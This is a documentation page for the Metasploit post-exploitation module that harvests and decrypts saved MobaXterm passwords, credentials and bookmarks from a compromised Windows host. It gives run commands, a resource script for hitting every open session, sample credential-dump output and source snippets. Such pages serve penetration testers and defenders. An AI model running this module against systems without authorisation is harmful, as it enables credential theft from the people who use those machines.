Windows Gather MobaXterm Passwords - Metasploit


This page contains detailed information about how to use the post/windows/gather/credentials/moba_xterm metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows Gather MobaXterm Passwords
Module: post/windows/gather/credentials/moba_xterm
Source code: modules/post/windows/gather/credentials/moba_xterm.rb
Disclosure date: -
Last modification time: 2022-10-06 01:39:28 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module will determine if MobaXterm is installed on the target system and, if it is, it will try to dump all saved session information from the target. The passwords for these saved sessions will then be decrypted where possible, using the decryption information that HyperSine reverse engineered.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/gather/credentials/moba_xterm

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/gather/credentials/moba_xterm
msf post(moba_xterm) > show options
    ... show and set options ...
msf post(moba_xterm) > set SESSION session-id
msf post(moba_xterm) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/gather/credentials/moba_xterm")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options


  • SESSION: The session to run this module on

Knowledge Base


Vulnerable Application


Any Windows host with a meterpreter session and MobaXterm v20.6+ installed. The following passwords will be searched for and recovered:

Installation Steps

  1. Download the latest installer of MobaXterm.
  2. Select default installation
  3. Open the software and click "Setting" in the toolbar, General > MobaXterm password management > Master Password setting complete password setting, add the test account password to the certificate.

Verification Steps


  1. Get a meterpreter session on a Windows host.
  2. Do: run post/windows/gather/credentials/moba_xterm
  3. If the system has registry keys for MobaXterm passwords they will be printed out.

Options


MASTER_PASSWORD

  • If you know the password, you can skip decrypting the master password. If not, it will be decrypted automatically

CONFIG_PATH

  • Specifies the config file path for MobaXterm

Scenarios



msf6 post(windows/gather/credentials/moba_xterm) > run
[*] Gathering MobaXterm session information from WIN-79MR8QJM50N
[!] Parsing is not supported: #84#9%C:\Users\FireEye\Desktop%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24
%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #131#8%0%1009600%3%0%0%1%2%COM2  (ͨ˿ (COM2))#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Color
s_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #97#10%0%#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[!] Parsing is not supported: #88#3%%0%-1%0%0%0%localhost%7100%1%0%1%0%657%336%0%0#MobaFont%10%0%0%-1%15%236,236,236%30,30,30%180,180,192%0%-1%0%%xterm%-1%-1%_
Std_Colors_0_%80%24%0%1%-1%<none>%%0#0# #-1
[+] MobaXterm Password
==================       

Protocol  Hostname    Username  Password                                                                                                                       
--------  --------    --------  --------                                                                                                                       
          mobaserver  mobauser  278804moba14071pass317387                                                                                                      

[+] MobaXterm Credentials
=====================

CredentialsName  Username  Password
---------------  --------  --------
ftp              1212
ssh              root      admin

[+] MobaXterm Bookmarks
===================

BookmarksName  Protocol  ServerHost           Port  Credentials or Passwords
-------------  --------  ----------           ----  ------------------------
ftp            ftp       ftp.asdas.com        21    asdas
msf            telnet    msf                  23    msf
rdp (rdp)      rdp       rdp                  3389  rdp
rsh            rsh       rdp.baid.com         rsh   #MobaFont
sftp           sftp      sftp.asdasd.com      22    asdasd
ssh            ssh       127.0.0.1            22    [ssh]
telnet_test    telnet    telnet.kali-team.cn  23    admin
vnc            vnc       vnc.basbas.com       5900  -1


Go back to menu.

Msfconsole Usage


Here is how the windows/gather/credentials/moba_xterm post exploitation module looks in the msfconsole:

msf6 > use post/windows/gather/credentials/moba_xterm

msf6 post(windows/gather/credentials/moba_xterm) > show info

       Name: Windows Gather MobaXterm Passwords
     Module: post/windows/gather/credentials/moba_xterm
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Kali-Team <[email protected]>

Compatible session types:
  Meterpreter

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  CONFIG_PATH                       no        Specifies the config file path for MobaXterm
  MASTER_PASSWORD                   no        If you know the password, you can skip decrypting the master password. If not, it will be decrypted
                                               automatically
  SESSION                           yes       The session to run this module on

Description:
  This module will determine if MobaXterm is installed on the target 
  system and, if it is, it will try to dump all saved session 
  information from the target. The passwords for these saved sessions 
  will then be decrypted where possible, using the decryption 
  information that HyperSine reverse engineered.

References:
  https://blog.kali-team.cn/Metasploit-MobaXterm-0b976b993c87401598be4caab8cbe0cd

Module Options


This is a complete list of options available in the windows/gather/credentials/moba_xterm post exploitation module:

msf6 post(windows/gather/credentials/moba_xterm) > show options

Module options (post/windows/gather/credentials/moba_xterm):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   CONFIG_PATH                       no        Specifies the config file path for MobaXterm
   MASTER_PASSWORD                   no        If you know the password, you can skip decrypting the master password. If not, it will be decrypte
                                               d automatically
   SESSION                           yes       The session to run this module on

Advanced Options


Here is a complete list of advanced options supported by the windows/gather/credentials/moba_xterm post exploitation module:

msf6 post(windows/gather/credentials/moba_xterm) > show advanced

Module advanced options (post/windows/gather/credentials/moba_xterm):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions


This is a list of all post exploitation actions which the windows/gather/credentials/moba_xterm module can do:

msf6 post(windows/gather/credentials/moba_xterm) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the windows/gather/credentials/moba_xterm post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(windows/gather/credentials/moba_xterm) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Configuration file content is empty


Here is a relevant code snippet related to the "Configuration file content is empty" error message:

232:	  def parser_ini(ini_config_path)
233:	    valuable_info = {}
234:	    if session.fs.file.exist?(ini_config_path)
235:	      file_contents = read_file(ini_config_path)
236:	      if file_contents.nil? || file_contents.empty?
237:	        print_warning('Configuration file content is empty')
238:	        return
239:	      else
240:	        config = Rex::Parser::Ini.from_s(file_contents)
241:	        valuable_info['PasswordsInRegistry'] = config['Misc']['PasswordsInRegistry'] || '0'
242:	        valuable_info['SessionP'] = config['Misc']['SessionP'] || 0

Could not find the config path for the MobaXterm. Ensure that MobaXterm is installed on the target.


Here is a relevant code snippet related to the "Could not find the config path for the MobaXterm. Ensure that MobaXterm is installed on the target." error message:

245:	        valuable_info['Credentials'] = config['Credentials'] || {}
246:	        valuable_info['Bookmarks'] = config['Bookmarks'] || nil
247:	        return valuable_info
248:	      end
249:	    else
250:	      print_warning('Could not find the config path for the MobaXterm. Ensure that MobaXterm is installed on the target.')
251:	      return false
252:	    end
253:	  end
254:	
255:	  def parse_bookmarks(bookmarks)

Parsing is not supported: <VALUE>


Here is a relevant code snippet related to the "Parsing is not supported: <VALUE>" error message:

264:	        server_host = bookmarks_split[1]
265:	        port = bookmarks_split[2]
266:	        username = bookmarks_split[3]
267:	        result << { name: key, protocol: protocol, server_host: server_host, port: port, username: username }
268:	      else
269:	        print_warning("Parsing is not supported: #{bookmarks[key].strip}")
270:	      end
271:	    end
272:	    return result
273:	  end
274:	

I can't find anything!


Here is a relevant code snippet related to the "I can't find anything!" error message:

340:	    end
341:	    if bookmarks_tbl.rows.count > 0
342:	      path = store_loot('host.moba_xterm', 'text/plain', session, bookmarks_tbl, 'moba_xterm.txt', 'MobaXterm Bookmarks')
343:	      print_good("Bookmarks stored in: #{path}")
344:	      print_good(bookmarks_tbl.to_s)
345:	    end
346:	    if pw_tbl.rows.count == 0 && creds_tbl.rows.count == 0 && bookmarks_tbl.rows.count == 0
347:	      print_error("I can't find anything!")
348:	    end
349:	  end
350:	end

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Kali-Team <kali-team[at]qq.com>

Version


This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.